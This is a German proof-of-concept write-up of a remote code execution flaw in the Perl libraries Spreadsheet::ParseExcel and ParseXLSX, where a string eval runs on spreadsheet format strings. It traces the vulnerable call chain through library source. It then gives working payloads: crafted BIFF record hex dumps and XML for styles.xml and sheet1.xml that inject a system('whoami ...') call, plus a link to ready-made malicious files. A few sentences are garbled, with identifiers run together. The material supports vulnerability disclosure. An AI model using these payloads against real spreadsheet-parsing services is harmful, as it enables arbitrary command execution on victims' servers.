
POC für RCE-Schwachstelle in der ParseExcel-Bibliothek und auch in ParseXLSX, als abhängige Bibliothek.
TL;DR: RCE durch Logik beim Parsen von Formatzeichenfolgen.
Die Hauptursache des Exploits liegt im Aufruf von eval auf eine nicht validierte Benutzereingabe in Utility.pm
# Uitlity.pm
sub ExcelFmt {
my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;
return $number unless $number =~ $qrNUMBER;
my $conditional;
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
$conditional = $1;
$format_str = $2;
}
#...
if ($conditional) {
# TODO. Replace string eval with a function.
$section = eval "$number $conditional" ? 0 : 1;
}
#...
}
Nach meiner Inspektion fehlt der aktuellen Implementierung dieses Ablaufs eine ordnungsgemäße Validierung, während die Verwendung von für Vergleichslogiken in diesem Fall übertrieben ist. Aus diesem Grund sind sowohl als auch (zum Lesen von Daten aus Excel-Dateien) anfällig für RCE.
evalParseExcel::parseParseXLSX::parse$format_str?ValFmt ist der wahrscheinlichste Aufrufer von ExcelFmt, daher werde ich diese Methode näher erläutern.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161
sub ValFmt {
my ( $oThis, $oCell, $oBook ) = @_;
my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );
if ( $oCell->{Type} eq 'Text' ) {
$Dt =
( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
: '';
return $Dt;
}
else {
$Dt = $oCell->{Val};
$Flg1904 = $oBook->{Flg1904};
my $sFmtStr = $oThis->FmtString( $oCell, $oBook );
# where RCE lies => $oCell->{Type} must be either "Date" or "Number"
return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} );
}
}
Wenn $oCell->{Type} Date oder Number ist, wird ExcelFmt aufgerufen.
Der Wert $format_str stammt aus einer anderen Methode: FmtString
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136
sub FmtString {
my ( $oThis, $oCell, $oBook ) = @_;
my $sFmtStr =
$oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
$oBook ); # maps to the correct format string
#...
unless ( defined($sFmtStr) ) {
# assigns default format string depending on the value, can ignore
#...
}
return $sFmtStr;
}
Eine weitere Funktion wird aufgerufen, also werden wir auch FmtStringDef untersuchen.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96
sub FmtStringDef {
my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping
# More with assigning default format string, can ignore
#...
}
Alle Variablen sind klar, wir können den Angriffsvektor wie folgt zusammenfassen:
$iFmtIdx ein$oBook->{Format}[$cellFmtIdx] auf $iFmtIdx verweist$oCell->{FormatNo} = $cellFmtIdx)
![[flow 1.png]]In den folgenden Abschnitten werde ich detailliert erklären, wie die Nutzlast den Shell-Code an den eval-Befehl weitergeleitet hat. Es wird zwei Abschnitte geben: für das Parsen von .xls-Dateien mit ParseExcel und für das Parsen von .xlsx-Dateien mit ParseXLSX.
Zur Demonstration finden Sie unten den Link zu unseren präparierten bösartigen Excel-Dateien (im .xls- und .xlsx-Format), die whoami ausführen und das Ergebnis in der Datei /tmp/inject.txt speichern.
https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b
Nehmen Sie ein einfaches Perl-Programm zum Parsen einer xls-Datei wie unten, das ParseExcel::parse verwendet. RCE wird während des Parsens ausgelöst, noch bevor Daten abgerufen werden.
use strict;
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");
Excel-97-Binärdateien sind in Blöcke von Binärdaten strukturiert, die als BIFF-Datensätze bezeichnet werden. Jeder Datensatz beginnt mit einem Header namens opCode (im Little-Endian-Format), gefolgt von der Länge des Datensatzes und seinen eigentlichen Daten.
sub QueryNext {
my ( $q ) = @_;
if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
return 0;
}
my $data = substr( $q->{stream}, $q->{streamPos}, 4 );
( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );
# No biff record should be larger than around 20,000.
if ( $q->{length} >= 20000 ) {
return 0;
}
if ( $q->{length} > 0 ) {
$q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
}
else {
$q->{data} = undef;
$q->{dont_decrypt_next_record} = 1;
}
if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
# Handles with decryption
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
# not implemented
return 0;
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {
}
$q->{streamPos} += 4 + $q->{length};
return 1;
}
Danach wird ein entsprechender Handler für den Datensatztyp verwendet, um die BIFF-Datensatzdaten zu extrahieren. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
$self->{FuncTbl}->{$record}
->( $workbook, $record, $record_length, $record_header );
}
Die Formatzeichenfolge wird von _subFormat mit opCode = 0x41E behandelt.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585
sub _subFormat {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
my $sFmt;
if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
$sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
$sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
}
else {
$sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
}
my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );
# Excel 4 and earlier used an index of 0 to indicate that a built-in format
# that was stored implicitly.
if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
$format_index = keys %{ $oBook->{FormatStr} };
}
$oBook->{FormatStr}->{$format_index} = $sFmt;
}
Ich war mir nicht sicher, welche BIFF-Version in meiner .xls-Datei verwendet wurde, aber den Daten in der Binärdatei zufolge sollte sie dem else-Fall entsprechen (> verBIFF5).
Die Struktur des Formatzeichenfolgen-Datensatzes in neueren BIFF-Versionen sollte wie folgt sein: 1E 04 [Datensatzlänge - 2 Bytes] [Formatzeichenfolgen-Index - 2 Bytes] [Länge der Formatzeichenfolge - 1 Byte] [String-Flags - 2 Bytes] [Inhalt der Formatzeichenfolge]
Durch Befolgen der korrekten Struktur kann ich jede beliebige Formatzeichenfolge in die .xls-Datei einfügen.
Der tatsächliche BIFF-Datensatz für die Formatzeichenfolge, die ich im PoC eingefügt habe (Formatzeichenfolgen-Index ist \x00\xa5)
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73 ..1...,..[>123;s
^^^^
format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20 ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427 /tmp/inject.txt'
00000030: 295d 3132 33 )]123
Zellenformate definieren viele Eigenschaften für eine Zelle, wie Formatzeichenfolge, Styling, Schriftarten usw. Ein Zellenformat kann mit einer Formatzeichenfolge verknüpft werden, indem der Index der Formatzeichenfolge in seinen BIFF-Datensatz aufgenommen wird. Diese Logik wird von _subXf behandelt.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558
sub _subXF {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
#...
if ( $oBook->{BIFFVersion} == verBIFF4 ) {
#...
}
elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );
( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
= unpack( "v7Vv", $sWk );
#...
}
else {
( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
unpack( "v8", $sWk );
#...
}
push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
FontNo => $iFnt,
Font => $oBook->{Font}[$iFnt],
FmtIdx => $iIdx, # <- the index that points to format string index
#...
);
}
Da unsere BIFFVersion größer als BIFF5 ist, sollte die Bedingung nicht in den ersten Fall fallen. Für die anderen beiden wissen wir, dass $iIdx das zweite Wort in den BIFF-Daten ist. Daher ist es auch trivial, diesen Schritt durchzuführen.
Der tatsächliche BIFF-Datensatz für das Zellenformat, das ich im PoC verwendet habe
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000 .......... .....
^^^^
format string index
00000010: 0000 0000 0000 c020 .......
Darüber hinaus werden Zellenformate durch ihren Index in einer Liste identifiziert, also habe ich den ersten Datensatz modifiziert, sodass mein Zellenformatindex 0 sein sollte.
Damit eine Zelle ein Format anwendet, muss sie die ID des Zellenformats in ihrem BIFF-Datensatz enthalten. Wie bereits erwähnt, können jedoch nur Zellen vom Typ Number oder Date die RCE auslösen, daher werde ich für den PoC eine Zelle mit Datumstyp verwenden (bezeichnet als RK-BIFF-Datensatz).
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939
sub _subRK {
my ( $workbook, $biff_number, $length, $data ) = @_;
my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
my $number = _decode_rk_number( $rk_number );
_NewCell(
$workbook, $row, $col,
Kind => 'RK',
Val => $number,
FormatNo => $format_index,
Format => $workbook->{Format}->[$format_index],
Numeric => 1,
Code => undef,
Book => $workbook,
);
#...
}
Wir können sehen, dass der Index, der auf ein Zellenformat verweist, jetzt das dritte Wort des Datensatzes ist. Daher müssen wir dieses Wort nur auf \x00 setzen.
Der tatsächliche BIFF-Datensatz für die Datumszelle, die ich im PoC verwendet habe
00000000: 7e02 0a00 0000 0000 0000 201a e240 ~......... ..@
^^^^
format index
Beachten Sie, dass die Methode _subRK den Typ Date noch nicht explizit definiert hat. Die Typprüfung wird stattdessen in chkType implementiert.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181
sub ChkType {
my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
if ($iNumeric) {
if ( ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
|| ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
{
return "Date";
}
else {
return "Numeric";
}
}
else {
return "Text";
}
}
Da $iNumeric auf 1 gesetzt ist, sind wir sicher, dass der Typ nicht Text ist.
Schließlich wird beim Initialisieren eines neuen Cell-Objekts ValFmt aufgerufen und die Ausführungskette fortgesetzt, um unsere Shell an die eval-Methode weiterzuleiten.
https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433
Die Arbeit mit .xlsx-Dateien ist wesentlich einfacher, da wir die Daten direkt im Klartext (XML-Format) ändern können.
Nehmen Sie ein einfaches Perl-Programm zum Parsen einer xls-Datei wie unten, das ParseXLSX::parse verwendet. RCE wird während des Parsens ausgelöst, noch bevor Daten abgerufen werden.
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;
my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");
Eine XLSX-Datei ist eine ZIP-Datei, die viele XML-Dateien komprimiert, die jeweils bestimmte Datentypen der Arbeitsmappe enthalten. Unten ist ein Beispiel der Ordnerstruktur:
|- [Content_Types].xml
|- _rels
|- docProps
|- app.xml
|- core.xml
|- xl
|- _rels
|- workbook.xml.rels
|- styles.xml <--- Format strings & cell formats
|- workbook.xml
|- sharedStrings.xml
|- theme
|- theme1.xml
|- worksheets
|- sheet1.xml <--- Cell values
Die Formatzeichenfolge ist in der Datei xl/styles.xml unter dem Tag <numFmts> enthalten, während Zellenformate unter dem Tag <cellXfs> definiert sind.
https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923
sub _parse_styles {
# ...
my %format_str = (
%default_format_str,
(map {
$_->att('numFmtId') => $_->att('formatCode')
} $styles->find_nodes('//s:numFmts/s:numFmt')),
);
# ...
my @format = map {
my %opts = (
%default_format_opts,
%ignore,
);
# ...
$opts{FmtIdx} = 0+($xml_fmt->att('numFmtId')||0);
# ...
Spreadsheet::ParseExcel::Format->new(%opts)
} $styles->find_nodes('//s:cellXfs/s:xf');
# ...
return {
FormatStr => \%format_str,
Font => \@font,
Format => \@format,
}
}
Um eine Formatzeichenfolge einzufügen, müssen wir ein Tag <numFmt> hinzufügen, wobei formatCode die Formatzeichenfolge ist und numFmtId ein beliebiger ganzzahliger Wert sein kann. Hier habe ich 123 verwendet.
Danach fügen wir eine weitere <xf>-Zelle hinzu, die auf die Formatzeichenfolge verweist, wobei das Attribut numFmtId unsere ausgewählte ID (123) ist.
Die endgültigen XML-Daten, die ich im PoC verwendet habe
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
<numFmts count="1">
<!-- injected format string -->
<numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
</numFmts>
...
<cellXfs count="4">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
<alignment horizontal="center"/>
</xf>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
<!-- injected cell format -->
<xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
</cellXfs>
...
</styleSheet>
sub _parse_sheet {
my $sheet_xml = $self->_new_twig(
twig_roots => {
#...
's:sheetData/s:row' => sub {
my ( $twig, $row_elt ) = @_;
for my $cell ( $row_elt->children('s:c') ){
my $type = $cell->att('t') || 'n';
my $val = $val_xml ? $val_xml->text : undef;
#...
elsif ($type eq 'n') {
$long_type = 'Numeric';
$val = defined($val) ? 0+$val : undef;
}
elsif ($type eq 'd') {
$long_type = 'Date';
}
# other $type results into $long_type = 'Text'
#...
my $format_idx = $cell->att('s') || 0;
my $format = $sheet->{_Book}{Format}[$format_idx];
die "unknown format $format_idx" unless $format;
my $cell = Spreadsheet::ParseExcel::Cell->new(
Val => $val,
Type => $long_type,
Merged => undef, # fix up later
Format => $format,
FormatNo => $format_idx,
($formula
? (Formula => $formula->text)
: ()),
Rich => $Rich,
);
$cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
$cell, $sheet->{_Book}
);
}
}
}
)
}
Die Logik zum Lesen von Zelldaten in dieser Bibliothek ist einfacher: Typ und Wert werden direkt aus den XML-Tag-Attributen zugewiesen. Da wir $oCell->{Type} auf Date oder Numeric setzen müssen, muss das Attribut t den Wert d oder n haben. Um die Zelle dem Zellenformat zuzuordnen, setzen wir auch das Attribut s auf den Index des Zellenformats (3).
Die endgültigen XML-Daten, die ich im PoC verwendet habe
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
...
<sheetData>
<row r="1" spans="1:2" x14ac:dyDescent="0.2">
<c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
<v>0</v>
</c>
<c r="B1" s="2"/>
</row>
</sheetData>
...
</worksheet>